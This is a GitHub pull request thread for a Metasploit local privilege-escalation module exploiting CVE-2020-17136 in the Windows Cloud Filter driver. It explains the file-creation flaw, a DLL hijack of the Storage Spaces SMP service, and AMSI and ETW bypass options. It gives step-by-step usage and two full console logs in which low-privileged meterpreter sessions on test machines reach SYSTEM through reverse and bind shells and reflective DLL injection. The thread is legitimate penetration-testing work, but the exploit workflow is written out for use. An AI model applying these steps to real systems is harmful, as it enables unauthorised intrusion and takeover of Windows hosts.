Create module for CVE-2020-17136: Cloud Filter Arbitrary File Creation EoP

[gwillcox-r7]

This PR adds in support for exploiting CVE-2020-17136, an arbitrary file write vulnerability within cldflt.sys. For a more complete explanation of this vuln, see https://bugs.chromium.org/p/project-zero/issues/detail?id=2082&q=CVE-2020-17136&can=1 and https://attackerkb.com/topics/1yvp3hVNSN/cve-2020-17136?referrer=github.

Suffice to say the vuln arises due to a lack of appropriate permission handling when creating placeholder files, which are used within the Cloud Filter driver used by OneDrive to create temporary files to be synced with the cloud at a later date, and we can abuse this to create files that are owned by our low privileged user in directories that our low privileged user shouldn't be able to write to, all cause the filter driver, aka cldflt.sys, will create the file as the kernel itself.

There are a bunch of limitations that go into this exploit, most of which are not important for this discussion, however its important to note a few things:

1. This module makes use of a compiled version of the C# PoC James Forshaw released at https://bugs.chromium.org/p/project-zero/issues/detail?id=2082&q=CVE-2020-17136. I made some slight adjustments but a lot of credit goes to him for the original PoC. I simply made some adjustments to allow better integration with Metasploit and to also use the directory junction technique he mentioned, which was not originally included in the PoC.
2. This module uses a DLL hijack in the Microsoft Storage Spaces SMP service rather than the usual Fax service DLL hijack we had be using previously. Why? Well this DLL hijack still requires admin privileges to create the file as needed in the C:\Windows\System32 directory, but unlike the Fax DLL hijack, we don't need to reboot the system to remove the file, and once we have exploited the target, we can immediately clean up the file. Even better, the service itself stops itself after we get our shell. Its a win-win-win all around 🥳
3. I did have to manually create the directory junction. I'm not sure if we should swap this out with some library code as I didn't see anything to create this at first glance, but just a note for any reviewers that this is an area that may need to be examined.
4. Most of the code is based off of https://github.com/rapid7/metasploit-framework/blob/85a9accbeec063f52406621f124a7f82ad63dcba/modules/post/windows/manage/execute_dotnet_assembly.rb. So if you find stuff that doesn't make sense or should be removed, this is why. I'm open to suggestions on this as there may be options people still want, but I wasn't sure what should be kept or removed; most of it seemed to still have some sort of use.

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• Get a meterpreter shell as a low privileged user on a Windows 10 v1803 or later system. Be sure its x64 bits, as x86 is currently not supported.
• Verify that getsystem does not get you a SYSTEM shell.
• use exploit/windows/local/cve_2020_17136
• set session *session id*
• run
• Verify that you get a new shell as the SYSTEM user

[label-actions]

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

• Writing Module Documentation
• Template
• Examples

[label-actions]

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

[gwillcox-r7]

Still need to do the following items before this is ready to review:

1. Write up the documentation for this module.
2. Update the exploit with a check method that will check to see if C:\Windows\System32\cldflt.sys exists and if it has been patched or not. This is particularly important given this exploit only works on Windows 10 v1803 and later.
3. Update the exploit to also support 32 bit targets. This shouldn't be hard but right now we are kind of needlessly limiting ourselves to only 64 bit targets. Will need to do some double checking and minor touchups.
4. Apply RuboCop updates

[gwillcox-r7]

Alright most of these changes should now be done, but we do need to double check that the module still works on a 32 bit system as expected and update the documentation accordingly. Exploit code should be updated so that users can at least try the exploit against a 32 bit system, but atm I haven't checked if this will work.

[gwillcox-r7]

Alright on closer inspection it seems that the original PoC code was only designed to work on x64. Whilst we could in theory support x86, it would require some reworking of the original exploit to get this to work correctly, and x86 is dying out in popularity these days, so I'm going to leave this for the moment. If there is a demand for x86 down the line we can look into adding support for targeting x86 down the line.

[smcintyre-r7]

This is only accurate in the default case that you have setup. Since this isn't handled by the module (but rather the AutoRunScript you set), if the user for example selects a shell payload, they'll be stuck in the NETWORK SERVICE account. That should probably be reflected here by stating the user should really use a meterpreter payload to get the full elevation and either keep the default AutoRunScript option, or run getsystem themselves later on.

[gwillcox-r7]

Good point, however the module does have a SessionTypes option set to meterpreter, so the expectation here is that one would already have a Meterpreter session before using this exploit. I can adjust this to also include shell and update the explanation if this would make more sense though.

[smcintyre-r7]

The SessionTypes option has no relation to the types of payloads that can be used. That field defines what session types are compatible to run the module, not what payloads the module can use.

Most likely the user will select Meterpreter, but there isn't anything stopping them from selecting windows/shell/reverse_tcp for example and I see no reason why that wouldn't work except you'd get the permissions of NETWORK SERVICE and wouldn't be able to run the exploit again from that session.

[gwillcox-r7]

Huh wasn't aware of that thanks for clarifying. I'll update this so long now to correct that so that both shells can be allowed and will update the documentation accordingly with a more appropriate explanation.

[smcintyre-r7]

You probably want to account for running in a WOW64 context too.

[gwillcox-r7]

Thought this was doing this by preventing our exploit from being run under WOW64 as this has not been tested yet? Are you suggesting the exploit should be configured to also run on WOW64? Little confused what you want changed here and need a bit more clarity.

[gwillcox-r7]

@smcintyre-r7 All issues should now be addressed, and the documentation updated where needed to reflect new changes. Please let me know if there is anything else that needs changing.

[smcintyre-r7]

Code changes look good and I've tested this and it is reliably working.

Windows 10 v1909 x64

msf6 exploit(windows/local/cve_2020_17136) > sessions -i 7
[*] Starting interaction with 7...

meterpreter > getuid
Server username: DESKTOP-RTCRBEV\aliddle
meterpreter > sysinfo
Computer        : DESKTOP-RTCRBEV
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > getsystem 
[-] 2001: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > background 
[*] Backgrounding session 7...
msf6 exploit(windows/local/cve_2020_17136) > show options 

Module options (exploit/windows/local/cve_2020_17136):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   AMSIBYPASS  true             yes       Enable Amsi bypass
   ETWBYPASS   true             yes       Enable Etw bypass
   SESSION     7                yes       The session to run this module on.
   WAIT        5                no        Time in seconds to wait


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows DLL Dropper


msf6 exploit(windows/local/cve_2020_17136) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. A vulnerable Windows 10 v1909 build was detected!
[*] Dropping payload dll at C:\Windows\Temp\CjSVEAibkPXJlzsZ.dll and registering it for cleanup...
[*] Running module against DESKTOP-RTCRBEV
[*] Launching notepad.exe to host CLR...
[+] Process 4380 launched.
[*] Reflectively injecting the Host DLL into 4380..
[*] Injecting Host into 4380...
[*] Host injected. Copy assembly into 4380...
[*] Assembly copied.
[*] Executing...
[*] Start reading output
[+] Sync connection key: 3046210014384
[+] Done
[*] End output.
[+] Execution finished.
[*] Sending stage (200262 bytes) to 192.168.159.30
[*] Meterpreter session 11 opened (192.168.159.128:4444 -> 192.168.159.30:50969) at 2021-01-11 17:08:23 -0500

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getsystem
...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)).
meterpreter > sysinfo 
Computer        : DESKTOP-RTCRBEV
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > 

I'm going to land this here pretty soon.

[smcintyre-r7]

Release Notes

New module exploits/windows/local/cve_2020_17136 adds in support for exploiting CVE-2020-17136, an arbitrary file write vulnerability within cldflt.sys. The result yields local code execution as the Network Service account which is suitable for escalating to SYSTEM via documented techniques.

[ddouhine]

Thx @gwillcox-r7 for this handy module :)

However it fails for me with:
[-] Exploit aborted due to failure: bad-config: Assembly not found

By changing:
exe_path = 'data/exploits/CVE-2020-17136/cloudFilterEOP.exe'
with the absolute path:
exe_path = '/opt/metasploit-framework/embedded/framework/data/exploits/CVE-2020-17136/cloudFilterEOP.exe'
it works fine !

ps: maybe not the good place to talk about that. Redirect me if needed.

[smcintyre-r7]

@ddhouine Thanks for letting us know, I spotted the issue and will get a patch to fix it submitted soon.

[gwillcox-r7]

Just since in case this helps anyone here are the results from testing on 20H2:

Windows 10 20H2 x64

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set RHOST 172.31.141.214
RHOST => 172.31.141.214
msf6 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 172.31.141.214:4444
[*] Sending stage (200262 bytes) to 172.31.141.214
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.31.141.214:4444) at 2021-01-14 12:46:04 -0600

meterpreter > getuid
Server username: DESKTOP-A8KJL0F\normal
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > sysinfo
Computer        : DESKTOP-A8KJL0F
OS              : Windows 10 (10.0 Build 19042).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 4
Meterpreter     : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/cve_2020_17136 
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2020_17136) > set SESSION 1 
SESSION => 1
msf6 exploit(windows/local/cve_2020_17136) > set LHOST 172.31.131.165
LHOST => 172.31.131.165
msf6 exploit(windows/local/cve_2020_17136) > check
[*] The target appears to be vulnerable. A vulnerable Windows 10 20H2 build was detected!
msf6 exploit(windows/local/cve_2020_17136) > run

[*] Started reverse TCP handler on 172.31.131.165:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. A vulnerable Windows 10 20H2 build was detected!
[*] Dropping payload dll at C:\Windows\Temp\lWKJQGjClgMsKfSh.dll and registering it for cleanup...
[*] Running module against DESKTOP-A8KJL0F
[*] Launching notepad.exe to host CLR...
[+] Process 5208 launched.
[*] Reflectively injecting the Host DLL into 5208..
[*] Injecting Host into 5208...
[*] Host injected. Copy assembly into 5208...
[*] Assembly copied.
[*] Executing...
[*] Start reading output
[+] Sync connection key: 2331990861488
[+] Done
[*] End output.
[+] Execution finished.
[*] Sending stage (200262 bytes) to 172.31.141.214
[*] Meterpreter session 2 opened (172.31.131.165:4444 -> 172.31.141.214:49834) at 2021-01-14 12:46:59 -0600

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getsystem
...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)).
meterpreter > meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-A8KJL0F
OS              : Windows 10 (10.0 Build 19042).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 4
Meterpreter     : x64/windows
meterpreter > 

[adfoster-r7]

@gwillcox-r7 Just a heads-up that I edited your comment to have an extra newline so that it formats correctly 👍